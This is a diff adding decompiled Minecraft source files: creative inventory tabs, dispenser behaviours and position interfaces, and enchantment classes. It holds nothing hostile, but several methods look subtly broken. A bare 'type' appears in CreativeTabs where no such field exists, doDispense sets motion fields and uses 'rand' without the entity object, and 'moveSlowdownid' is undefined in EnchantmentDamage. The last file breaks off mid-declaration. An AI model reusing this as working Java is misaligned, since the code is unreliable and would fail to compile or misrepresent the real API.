+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.enchantment.Enchantment;
+import net.minecraft.enchantment.EnumEnchantmentType;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.RegistryNamespaced;
+
+public abstract class CreativeTabs
+{
+  public static final CreativeTabs[] creativeTabArray = new CreativeTabs[12];
+  public static final CreativeTabs tabBlock = new CreativeTabs(0, "buildingBlocks")
+  {
+    private static final String __OBFID = "CL_00000006";
+    
+    public Item getTabIconItem() {
+      return Item.getItemFromBlock(Blocks.brick_block);
+    }
+  };
+  public static final CreativeTabs tabDecorations = new CreativeTabs(1, "decorations")
+  {
+    private static final String __OBFID = "CL_00000010";
+    
+    public Item getTabIconItem() {
+      return Item.getItemFromBlock(Blocks.double_plant);
+    }
+    
+    public int getIconItemDamage() {
+      return BlockDoublePlant.EnumPlantType.PAEONIA.func_176936_a();
+    }
+  };
+  public static final CreativeTabs tabRedstone = new CreativeTabs(2, "redstone")
+  {
+    private static final String __OBFID = "CL_00000011";
+    
+    public Item getTabIconItem() {
+      return Items.redstone;
+    }
+  };
+  public static final CreativeTabs tabTransport = new CreativeTabs(3, "transportation")
+  {
+    private static final String __OBFID = "CL_00000012";
+    
+    public Item getTabIconItem() {
+      return Item.getItemFromBlock(Blocks.golden_rail);
+    }
+  };
+  public static final CreativeTabs tabMisc = new CreativeTabs(4, "misc")
+  {
+    private static final String __OBFID = "CL_00000014";
+    
+    public Item getTabIconItem() {
+      return Items.lava_bucket;
+    }
+  }.setRelevantEnchantmentTypes(new EnumEnchantmentType[] { EnumEnchantmentType.ALL });
+  public static final CreativeTabs tabAllSearch = new CreativeTabs(5, "search")
+  {
+    private static final String __OBFID = "CL_00000015";
+    
+    public Item getTabIconItem() {
+      return Items.compass;
+    }
+  }.setBackgroundImageName("item_search.png");
+  public static final CreativeTabs tabFood = new CreativeTabs(6, "food")
+  {
+    private static final String __OBFID = "CL_00000016";
+    
+    public Item getTabIconItem() {
+      return Items.apple;
+    }
+  };
+  public static final CreativeTabs tabTools = new CreativeTabs(7, "tools")
+  {
+    private static final String __OBFID = "CL_00000017";
+    
+    public Item getTabIconItem() {
+      return Items.iron_axe;
+    }
+  }.setRelevantEnchantmentTypes(new EnumEnchantmentType[] { EnumEnchantmentType.DIGGER, EnumEnchantmentType.FISHING_ROD, EnumEnchantmentType.BREAKABLE });
+  public static final CreativeTabs tabCombat = new CreativeTabs(8, "combat")
+  {
+    private static final String __OBFID = "CL_00000018";
+    
+    public Item getTabIconItem() {
+      return Items.golden_sword;
+    }
+  }.setRelevantEnchantmentTypes(new EnumEnchantmentType[] { EnumEnchantmentType.ARMOR, EnumEnchantmentType.ARMOR_FEET, EnumEnchantmentType.ARMOR_HEAD, EnumEnchantmentType.ARMOR_LEGS, EnumEnchantmentType.ARMOR_TORSO, EnumEnchantmentType.BOW, EnumEnchantmentType.WEAPON });
+  public static final CreativeTabs tabBrewing = new CreativeTabs(9, "brewing")
+  {
+    private static final String __OBFID = "CL_00000007";
+    
+    public Item getTabIconItem() {
+      return Items.potionitem;
+    }
+  };
+  public static final CreativeTabs tabMaterials = new CreativeTabs(10, "materials")
+  {
+    private static final String __OBFID = "CL_00000008";
+    
+    public Item getTabIconItem() {
+      return Items.stick;
+    }
+  };
+  public static final CreativeTabs tabInventory = new CreativeTabs(11, "inventory")
+  {
+    private static final String __OBFID = "CL_00000009";
+    
+    public Item getTabIconItem() {
+      return Item.getItemFromBlock(Blocks.chest);
+    }
+  }.setBackgroundImageName("inventory.png").setNoScrollbar().setNoTitle();
+  
+  private final int tabIndex;
+  
+  private final String tabLabel;
+  private String theTexture = "items.png";
+  private boolean hasScrollbar = true;
+  
+
+  private boolean drawTitle = true;
+  private EnumEnchantmentType[] enchantmentTypes;
+  private ItemStack iconItemStack;
+  private static final String __OBFID = "CL_00000005";
+  
+  public CreativeTabs(int index, String label)
+  {
+    tabIndex = index;
+    tabLabel = label;
+    creativeTabArray[index] = this;
+  }
+  
+  public int getTabIndex()
+  {
+    return tabIndex;
+  }
+  
+  public String getTabLabel()
+  {
+    return tabLabel;
+  }
+  
+
+
+
+  public String getTranslatedTabLabel()
+  {
+    return "itemGroup." + getTabLabel();
+  }
+  
+  public ItemStack getIconItemStack()
+  {
+    if (iconItemStack == null)
+    {
+      iconItemStack = new ItemStack(getTabIconItem(), 1, getIconItemDamage());
+    }
+    
+    return iconItemStack;
+  }
+  
+  public abstract Item getTabIconItem();
+  
+  public int getIconItemDamage()
+  {
+    return 0;
+  }
+  
+  public String getBackgroundImageName()
+  {
+    return theTexture;
+  }
+  
+  public CreativeTabs setBackgroundImageName(String texture)
+  {
+    theTexture = texture;
+    return this;
+  }
+  
+  public boolean drawInForegroundOfTab()
+  {
+    return drawTitle;
+  }
+  
+  public CreativeTabs setNoTitle()
+  {
+    drawTitle = false;
+    return this;
+  }
+  
+  public boolean shouldHidePlayerInventory()
+  {
+    return hasScrollbar;
+  }
+  
+  public CreativeTabs setNoScrollbar()
+  {
+    hasScrollbar = false;
+    return this;
+  }
+  
+
+
+
+  public int getTabColumn()
+  {
+    return tabIndex % 6;
+  }
+  
+
+
+
+  public boolean isTabInFirstRow()
+  {
+    return tabIndex < 6;
+  }
+  
+
+
+
+  public EnumEnchantmentType[] getRelevantEnchantmentTypes()
+  {
+    return enchantmentTypes;
+  }
+  
+
+
+
+  public CreativeTabs setRelevantEnchantmentTypes(EnumEnchantmentType... types)
+  {
+    enchantmentTypes = types;
+    return this;
+  }
+  
+  public boolean hasRelevantEnchantmentType(EnumEnchantmentType p_111226_1_)
+  {
+    if (enchantmentTypes == null)
+    {
+      return false;
+    }
+    
+
+    EnumEnchantmentType[] var2 = enchantmentTypes;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      EnumEnchantmentType var5 = var2[var4];
+      
+      if (var5 == p_111226_1_)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void displayAllReleventItems(List p_78018_1_)
+  {
+    Iterator var2 = Item.itemRegistry.iterator();
+    
+    while (var2.hasNext())
+    {
+      Item var3 = (Item)var2.next();
+      
+      if ((var3 != null) && (var3.getCreativeTab() == this))
+      {
+        var3.getSubItems(var3, this, p_78018_1_);
+      }
+    }
+    
+    if (getRelevantEnchantmentTypes() != null)
+    {
+      addEnchantmentBooksToList(p_78018_1_, getRelevantEnchantmentTypes());
+    }
+  }
+  
+
+
+
+  public void addEnchantmentBooksToList(List p_92116_1_, EnumEnchantmentType... p_92116_2_)
+  {
+    Enchantment[] var3 = Enchantment.enchantmentsList;
+    int var4 = var3.length;
+    
+    for (int var5 = 0; var5 < var4; var5++)
+    {
+      Enchantment var6 = var3[var5];
+      
+      if ((var6 != null) && (type != null))
+      {
+        boolean var7 = false;
+        
+        for (int var8 = 0; (var8 < p_92116_2_.length) && (!var7); var8++)
+        {
+          if (type == p_92116_2_[var8])
+          {
+            var7 = true;
+          }
+        }
+        
+        if (var7)
+        {
+          p_92116_1_.add(Items.enchanted_book.getEnchantedItemStack(new net.minecraft.enchantment.EnchantmentData(var6, var6.getMaxLevel())));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/dispenser/BehaviorDefaultDispenseItem.java b/src/minecraft/net/minecraft/dispenser/BehaviorDefaultDispenseItem.java
new file mode 100644
index 0000000..61b4438
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/BehaviorDefaultDispenseItem.java
@@ -0,0 +1,82 @@
+package net.minecraft.dispenser;
+
+import java.util.Random;
+import net.minecraft.block.BlockDispenser;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class BehaviorDefaultDispenseItem implements IBehaviorDispenseItem
+{
+  private static final String __OBFID = "CL_00001195";
+  
+  public BehaviorDefaultDispenseItem() {}
+  
+  public final ItemStack dispense(IBlockSource source, ItemStack stack)
+  {
+    ItemStack var3 = dispenseStack(source, stack);
+    playDispenseSound(source);
+    spawnDispenseParticles(source, BlockDispenser.getFacing(source.getBlockMetadata()));
+    return var3;
+  }
+  
+
+
+
+  protected ItemStack dispenseStack(IBlockSource source, ItemStack stack)
+  {
+    EnumFacing var3 = BlockDispenser.getFacing(source.getBlockMetadata());
+    IPosition var4 = BlockDispenser.getDispensePosition(source);
+    ItemStack var5 = stack.splitStack(1);
+    doDispense(source.getWorld(), var5, 6, var3, var4);
+    return stack;
+  }
+  
+  public static void doDispense(World worldIn, ItemStack stack, int speed, EnumFacing p_82486_3_, IPosition position)
+  {
+    double var5 = position.getX();
+    double var7 = position.getY();
+    double var9 = position.getZ();
+    
+    if (p_82486_3_.getAxis() == net.minecraft.util.EnumFacing.Axis.Y)
+    {
+      var7 -= 0.125D;
+    }
+    else
+    {
+      var7 -= 0.15625D;
+    }
+    
+    EntityItem var11 = new EntityItem(worldIn, var5, var7, var9, stack);
+    double var12 = rand.nextDouble() * 0.1D + 0.2D;
+    motionX = (p_82486_3_.getFrontOffsetX() * var12);
+    motionY = 0.20000000298023224D;
+    motionZ = (p_82486_3_.getFrontOffsetZ() * var12);
+    motionX += rand.nextGaussian() * 0.007499999832361937D * speed;
+    motionY += rand.nextGaussian() * 0.007499999832361937D * speed;
+    motionZ += rand.nextGaussian() * 0.007499999832361937D * speed;
+    worldIn.spawnEntityInWorld(var11);
+  }
+  
+
+
+
+  protected void playDispenseSound(IBlockSource source)
+  {
+    source.getWorld().playAuxSFX(1000, source.getBlockPos(), 0);
+  }
+  
+
+
+
+  protected void spawnDispenseParticles(IBlockSource source, EnumFacing facingIn)
+  {
+    source.getWorld().playAuxSFX(2000, source.getBlockPos(), func_82488_a(facingIn));
+  }
+  
+  private int func_82488_a(EnumFacing facingIn)
+  {
+    return facingIn.getFrontOffsetX() + 1 + (facingIn.getFrontOffsetZ() + 1) * 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/dispenser/BehaviorProjectileDispense.java b/src/minecraft/net/minecraft/dispenser/BehaviorProjectileDispense.java
new file mode 100644
index 0000000..99e3814
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/BehaviorProjectileDispense.java
@@ -0,0 +1,51 @@
+package net.minecraft.dispenser;
+
+import net.minecraft.block.BlockDispenser;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.IProjectile;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public abstract class BehaviorProjectileDispense
+  extends BehaviorDefaultDispenseItem
+{
+  private static final String __OBFID = "CL_00001394";
+  
+  public BehaviorProjectileDispense() {}
+  
+  public ItemStack dispenseStack(IBlockSource source, ItemStack stack)
+  {
+    World var3 = source.getWorld();
+    IPosition var4 = BlockDispenser.getDispensePosition(source);
+    EnumFacing var5 = BlockDispenser.getFacing(source.getBlockMetadata());
+    IProjectile var6 = getProjectileEntity(var3, var4);
+    var6.setThrowableHeading(var5.getFrontOffsetX(), var5.getFrontOffsetY() + 0.1F, var5.getFrontOffsetZ(), func_82500_b(), func_82498_a());
+    var3.spawnEntityInWorld((Entity)var6);
+    stack.splitStack(1);
+    return stack;
+  }
+  
+
+
+
+  protected void playDispenseSound(IBlockSource source)
+  {
+    source.getWorld().playAuxSFX(1002, source.getBlockPos(), 0);
+  }
+  
+
+
+  protected abstract IProjectile getProjectileEntity(World paramWorld, IPosition paramIPosition);
+  
+
+  protected float func_82498_a()
+  {
+    return 6.0F;
+  }
+  
+  protected float func_82500_b()
+  {
+    return 1.1F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/dispenser/IBehaviorDispenseItem.java b/src/minecraft/net/minecraft/dispenser/IBehaviorDispenseItem.java
new file mode 100644
index 0000000..7009ae5
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/IBehaviorDispenseItem.java
@@ -0,0 +1,17 @@
+package net.minecraft.dispenser;
+
+import net.minecraft.item.ItemStack;
+
+public abstract interface IBehaviorDispenseItem
+{
+  public static final IBehaviorDispenseItem itemDispenseBehaviorProvider = new IBehaviorDispenseItem()
+  {
+    private static final String __OBFID = "CL_00001200";
+    
+    public ItemStack dispense(IBlockSource source, ItemStack stack) {
+      return stack;
+    }
+  };
+  
+  public abstract ItemStack dispense(IBlockSource paramIBlockSource, ItemStack paramItemStack);
+}
diff --git a/src/minecraft/net/minecraft/dispenser/IBlockSource.java b/src/minecraft/net/minecraft/dispenser/IBlockSource.java
new file mode 100644
index 0000000..83be515
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/IBlockSource.java
@@ -0,0 +1,23 @@
+package net.minecraft.dispenser;
+
+import net.minecraft.block.Block;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+
+public abstract interface IBlockSource
+  extends ILocatableSource
+{
+  public abstract double getX();
+  
+  public abstract double getY();
+  
+  public abstract double getZ();
+  
+  public abstract BlockPos getBlockPos();
+  
+  public abstract Block getBlock();
+  
+  public abstract int getBlockMetadata();
+  
+  public abstract TileEntity getBlockTileEntity();
+}
diff --git a/src/minecraft/net/minecraft/dispenser/ILocatableSource.java b/src/minecraft/net/minecraft/dispenser/ILocatableSource.java
new file mode 100644
index 0000000..7aa84f3
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/ILocatableSource.java
@@ -0,0 +1,5 @@
+package net.minecraft.dispenser;
+
+public abstract interface ILocatableSource
+  extends ILocation
+{}
diff --git a/src/minecraft/net/minecraft/dispenser/ILocation.java b/src/minecraft/net/minecraft/dispenser/ILocation.java
new file mode 100644
index 0000000..45c4855
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/ILocation.java
@@ -0,0 +1,9 @@
+package net.minecraft.dispenser;
+
+import net.minecraft.world.World;
+
+public abstract interface ILocation
+  extends IPosition
+{
+  public abstract World getWorld();
+}
diff --git a/src/minecraft/net/minecraft/dispenser/IPosition.java b/src/minecraft/net/minecraft/dispenser/IPosition.java
new file mode 100644
index 0000000..2dececb
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/IPosition.java
@@ -0,0 +1,10 @@
+package net.minecraft.dispenser;
+
+public abstract interface IPosition
+{
+  public abstract double getX();
+  
+  public abstract double getY();
+  
+  public abstract double getZ();
+}
diff --git a/src/minecraft/net/minecraft/dispenser/PositionImpl.java b/src/minecraft/net/minecraft/dispenser/PositionImpl.java
new file mode 100644
index 0000000..2a3fbdb
--- /dev/null
+++ b/src/minecraft/net/minecraft/dispenser/PositionImpl.java
@@ -0,0 +1,31 @@
+package net.minecraft.dispenser;
+
+public class PositionImpl implements IPosition
+{
+  protected final double x;
+  protected final double y;
+  protected final double z;
+  private static final String __OBFID = "CL_00001208";
+  
+  public PositionImpl(double xCoord, double yCoord, double zCoord)
+  {
+    x = xCoord;
+    y = yCoord;
+    z = zCoord;
+  }
+  
+  public double getX()
+  {
+    return x;
+  }
+  
+  public double getY()
+  {
+    return y;
+  }
+  
+  public double getZ()
+  {
+    return z;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/Enchantment.java b/src/minecraft/net/minecraft/enchantment/Enchantment.java
new file mode 100644
index 0000000..cd30e75
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/Enchantment.java
@@ -0,0 +1,250 @@
+package net.minecraft.enchantment;
+
+import com.google.common.collect.Maps;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.ResourceLocation;
+import net.minecraft.util.StatCollector;
+
+public abstract class Enchantment
+{
+  private static final Enchantment[] field_180311_a = new Enchantment['Ā'];
+  public static final Enchantment[] enchantmentsList;
+  private static final Map field_180307_E = Maps.newHashMap();
+  public static final Enchantment field_180310_c = new EnchantmentProtection(0, new ResourceLocation("protection"), 10, 0);
+  
+
+  public static final Enchantment fireProtection = new EnchantmentProtection(1, new ResourceLocation("fire_protection"), 5, 1);
+  public static final Enchantment field_180309_e = new EnchantmentProtection(2, new ResourceLocation("feather_falling"), 5, 2);
+  
+
+  public static final Enchantment blastProtection = new EnchantmentProtection(3, new ResourceLocation("blast_protection"), 2, 3);
+  public static final Enchantment field_180308_g = new EnchantmentProtection(4, new ResourceLocation("projectile_protection"), 5, 4);
+  public static final Enchantment field_180317_h = new EnchantmentOxygen(5, new ResourceLocation("respiration"), 2);
+  
+
+  public static final Enchantment aquaAffinity = new EnchantmentWaterWorker(6, new ResourceLocation("aqua_affinity"), 2);
+  public static final Enchantment thorns = new EnchantmentThorns(7, new ResourceLocation("thorns"), 1);
+  public static final Enchantment field_180316_k = new EnchantmentWaterWalker(8, new ResourceLocation("depth_strider"), 2);
+  public static final Enchantment field_180314_l = new EnchantmentDamage(16, new ResourceLocation("sharpness"), 10, 0);
+  public static final Enchantment field_180315_m = new EnchantmentDamage(17, new ResourceLocation("smite"), 5, 1);
+  public static final Enchantment field_180312_n = new EnchantmentDamage(18, new ResourceLocation("bane_of_arthropods"), 5, 2);
+  public static final Enchantment field_180313_o = new EnchantmentKnockback(19, new ResourceLocation("knockback"), 5);
+  
+
+  public static final Enchantment fireAspect = new EnchantmentFireAspect(20, new ResourceLocation("fire_aspect"), 2);
+  
+
+  public static final Enchantment looting = new EnchantmentLootBonus(21, new ResourceLocation("looting"), 2, EnumEnchantmentType.WEAPON);
+  
+
+  public static final Enchantment efficiency = new EnchantmentDigging(32, new ResourceLocation("efficiency"), 10);
+  
+
+
+
+
+  public static final Enchantment silkTouch = new EnchantmentUntouching(33, new ResourceLocation("silk_touch"), 1);
+  
+
+
+
+  public static final Enchantment unbreaking = new EnchantmentDurability(34, new ResourceLocation("unbreaking"), 5);
+  
+
+  public static final Enchantment fortune = new EnchantmentLootBonus(35, new ResourceLocation("fortune"), 2, EnumEnchantmentType.DIGGER);
+  
+
+  public static final Enchantment power = new EnchantmentArrowDamage(48, new ResourceLocation("power"), 10);
+  
+
+
+
+  public static final Enchantment punch = new EnchantmentArrowKnockback(49, new ResourceLocation("punch"), 2);
+  
+
+
+
+  public static final Enchantment flame = new EnchantmentArrowFire(50, new ResourceLocation("flame"), 2);
+  
+
+
+
+
+  public static final Enchantment infinity = new EnchantmentArrowInfinite(51, new ResourceLocation("infinity"), 1);
+  public static final Enchantment luckOfTheSea = new EnchantmentLootBonus(61, new ResourceLocation("luck_of_the_sea"), 2, EnumEnchantmentType.FISHING_ROD);
+  public static final Enchantment lure = new EnchantmentFishingSpeed(62, new ResourceLocation("lure"), 2, EnumEnchantmentType.FISHING_ROD);
+  
+  public final int effectId;
+  
+  private final int weight;
+  
+  public EnumEnchantmentType type;
+  
+  protected String name;
+  private static final String __OBFID = "CL_00000105";
+  
+  public static Enchantment func_180306_c(int p_180306_0_)
+  {
+    return (p_180306_0_ >= 0) && (p_180306_0_ < field_180311_a.length) ? field_180311_a[p_180306_0_] : null;
+  }
+  
+  protected Enchantment(int p_i45771_1_, ResourceLocation p_i45771_2_, int p_i45771_3_, EnumEnchantmentType p_i45771_4_)
+  {
+    effectId = p_i45771_1_;
+    weight = p_i45771_3_;
+    type = p_i45771_4_;
+    
+    if (field_180311_a[p_i45771_1_] != null)
+    {
+      throw new IllegalArgumentException("Duplicate enchantment id!");
+    }
+    
+
+    field_180311_a[p_i45771_1_] = this;
+    field_180307_E.put(p_i45771_2_, this);
+  }
+  
+
+  public static Enchantment func_180305_b(String p_180305_0_)
+  {
+    return (Enchantment)field_180307_E.get(new ResourceLocation(p_180305_0_));
+  }
+  
+  public static String[] func_180304_c()
+  {
+    String[] var0 = new String[field_180307_E.size()];
+    int var1 = 0;
+    
+    ResourceLocation var3;
+    for (Iterator var2 = field_180307_E.keySet().iterator(); var2.hasNext(); var0[(var1++)] = var3.toString())
+    {
+      var3 = (ResourceLocation)var2.next();
+    }
+    
+    return var0;
+  }
+  
+  public int getWeight()
+  {
+    return weight;
+  }
+  
+
+
+
+  public int getMinLevel()
+  {
+    return 1;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 1;
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 1 + p_77321_1_ * 10;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + 5;
+  }
+  
+
+
+
+  public int calcModifierDamage(int p_77318_1_, DamageSource p_77318_2_)
+  {
+    return 0;
+  }
+  
+  public float func_152376_a(int p_152376_1_, EnumCreatureAttribute p_152376_2_)
+  {
+    return 0.0F;
+  }
+  
+
+
+
+  public boolean canApplyTogether(Enchantment p_77326_1_)
+  {
+    return this != p_77326_1_;
+  }
+  
+
+
+
+  public Enchantment setName(String p_77322_1_)
+  {
+    name = p_77322_1_;
+    return this;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "enchantment." + name;
+  }
+  
+
+
+
+  public String getTranslatedName(int p_77316_1_)
+  {
+    String var2 = StatCollector.translateToLocal(getName());
+    return var2 + " " + StatCollector.translateToLocal(new StringBuilder("enchantment.level.").append(p_77316_1_).toString());
+  }
+  
+  public boolean canApply(ItemStack p_92089_1_)
+  {
+    return type.canEnchantItem(p_92089_1_.getItem());
+  }
+  
+
+
+
+
+  static
+  {
+    ArrayList var0 = com.google.common.collect.Lists.newArrayList();
+    Enchantment[] var1 = field_180311_a;
+    int var2 = var1.length;
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      Enchantment var4 = var1[var3];
+      
+      if (var4 != null)
+      {
+        var0.add(var4);
+      }
+    }
+    
+    enchantmentsList = (Enchantment[])var0.toArray(new Enchantment[var0.size()]);
+  }
+  
+  public void func_151368_a(EntityLivingBase p_151368_1_, Entity p_151368_2_, int p_151368_3_) {}
+  
+  public void func_151367_b(EntityLivingBase p_151367_1_, Entity p_151367_2_, int p_151367_3_) {}
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentArrowDamage.java b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowDamage.java
new file mode 100644
index 0000000..41867c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowDamage.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentArrowDamage extends Enchantment
+{
+  private static final String __OBFID = "CL_00000098";
+  
+  public EnchantmentArrowDamage(int p_i45778_1_, ResourceLocation p_i45778_2_, int p_i45778_3_)
+  {
+    super(p_i45778_1_, p_i45778_2_, p_i45778_3_, EnumEnchantmentType.BOW);
+    setName("arrowDamage");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 1 + (p_77321_1_ - 1) * 10;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + 15;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 5;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentArrowFire.java b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowFire.java
new file mode 100644
index 0000000..40ca7b3
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowFire.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentArrowFire extends Enchantment
+{
+  private static final String __OBFID = "CL_00000099";
+  
+  public EnchantmentArrowFire(int p_i45777_1_, ResourceLocation p_i45777_2_, int p_i45777_3_)
+  {
+    super(p_i45777_1_, p_i45777_2_, p_i45777_3_, EnumEnchantmentType.BOW);
+    setName("arrowFire");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 20;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentArrowInfinite.java b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowInfinite.java
new file mode 100644
index 0000000..df9e8f9
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowInfinite.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentArrowInfinite extends Enchantment
+{
+  private static final String __OBFID = "CL_00000100";
+  
+  public EnchantmentArrowInfinite(int p_i45776_1_, ResourceLocation p_i45776_2_, int p_i45776_3_)
+  {
+    super(p_i45776_1_, p_i45776_2_, p_i45776_3_, EnumEnchantmentType.BOW);
+    setName("arrowInfinite");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 20;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return 50;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentArrowKnockback.java b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowKnockback.java
new file mode 100644
index 0000000..ba88bb4
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentArrowKnockback.java
@@ -0,0 +1,38 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentArrowKnockback extends Enchantment
+{
+  private static final String __OBFID = "CL_00000101";
+  
+  public EnchantmentArrowKnockback(int p_i45775_1_, ResourceLocation p_i45775_2_, int p_i45775_3_)
+  {
+    super(p_i45775_1_, p_i45775_2_, p_i45775_3_, EnumEnchantmentType.BOW);
+    setName("arrowKnockback");
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return 12 + (p_77321_1_ - 1) * 20;
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + 25;
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentDamage.java b/src/minecraft/net/minecraft/enchantment/EnchantmentDamage.java
new file mode 100644
index 0000000..f506d00
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentDamage.java
@@ -0,0 +1,108 @@
+package net.minecraft.enchantment;
+
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.item.ItemAxe;
+import net.minecraft.item.ItemStack;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.ResourceLocation;
+
+public class EnchantmentDamage extends Enchantment
+{
+  private static final String[] protectionName = { "all", "undead", "arthropods" };
+  
+
+
+
+  private static final int[] baseEnchantability = { 1, 5, 5 };
+  
+
+
+
+  private static final int[] levelEnchantability = { 11, 8, 8 };
+  
+
+
+
+
+  private static final int[] thresholdEnchantability = { 20, 20, 20 };
+  
+
+  public final int damageType;
+  
+  private static final String __OBFID = "CL_00000102";
+  
+
+  public EnchantmentDamage(int p_i45774_1_, ResourceLocation p_i45774_2_, int p_i45774_3_, int p_i45774_4_)
+  {
+    super(p_i45774_1_, p_i45774_2_, p_i45774_3_, EnumEnchantmentType.WEAPON);
+    damageType = p_i45774_4_;
+  }
+  
+
+
+
+  public int getMinEnchantability(int p_77321_1_)
+  {
+    return baseEnchantability[damageType] + (p_77321_1_ - 1) * levelEnchantability[damageType];
+  }
+  
+
+
+
+  public int getMaxEnchantability(int p_77317_1_)
+  {
+    return getMinEnchantability(p_77317_1_) + thresholdEnchantability[damageType];
+  }
+  
+
+
+
+  public int getMaxLevel()
+  {
+    return 5;
+  }
+  
+  public float func_152376_a(int p_152376_1_, EnumCreatureAttribute p_152376_2_)
+  {
+    return (damageType == 2) && (p_152376_2_ == EnumCreatureAttribute.ARTHROPOD) ? p_152376_1_ * 2.5F : (damageType == 1) && (p_152376_2_ == EnumCreatureAttribute.UNDEAD) ? p_152376_1_ * 2.5F : damageType == 0 ? p_152376_1_ * 1.25F : 0.0F;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "enchantment.damage." + protectionName[damageType];
+  }
+  
+
+
+
+  public boolean canApplyTogether(Enchantment p_77326_1_)
+  {
+    return !(p_77326_1_ instanceof EnchantmentDamage);
+  }
+  
+  public boolean canApply(ItemStack p_92089_1_)
+  {
+    return (p_92089_1_.getItem() instanceof ItemAxe) ? true : super.canApply(p_92089_1_);
+  }
+  
+  public void func_151368_a(EntityLivingBase p_151368_1_, Entity p_151368_2_, int p_151368_3_)
+  {
+    if ((p_151368_2_ instanceof EntityLivingBase))
+    {
+      EntityLivingBase var4 = (EntityLivingBase)p_151368_2_;
+      
+      if ((damageType == 2) && (var4.getCreatureAttribute() == EnumCreatureAttribute.ARTHROPOD))
+      {
+        int var5 = 20 + p_151368_1_.getRNG().nextInt(10 * p_151368_3_);
+        var4.addPotionEffect(new PotionEffect(moveSlowdownid, var5, 3));
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/enchantment/EnchantmentData.java b/src/minecraft/net/minecraft/enchantment/EnchantmentData.java
new file mode 100644
index 0000000..ad9f4be
--- /dev/null
+++ b/src/minecraft/net/minecraft/enchantment/EnchantmentData.java
@@ -0,0 +1,20 @@
+package net.minecraft.enchantment;
+
+import net.minecraft.util.WeightedRandom.Item;
+
+
+
+public class EnchantmentData
+  extends WeightedRandom.Item
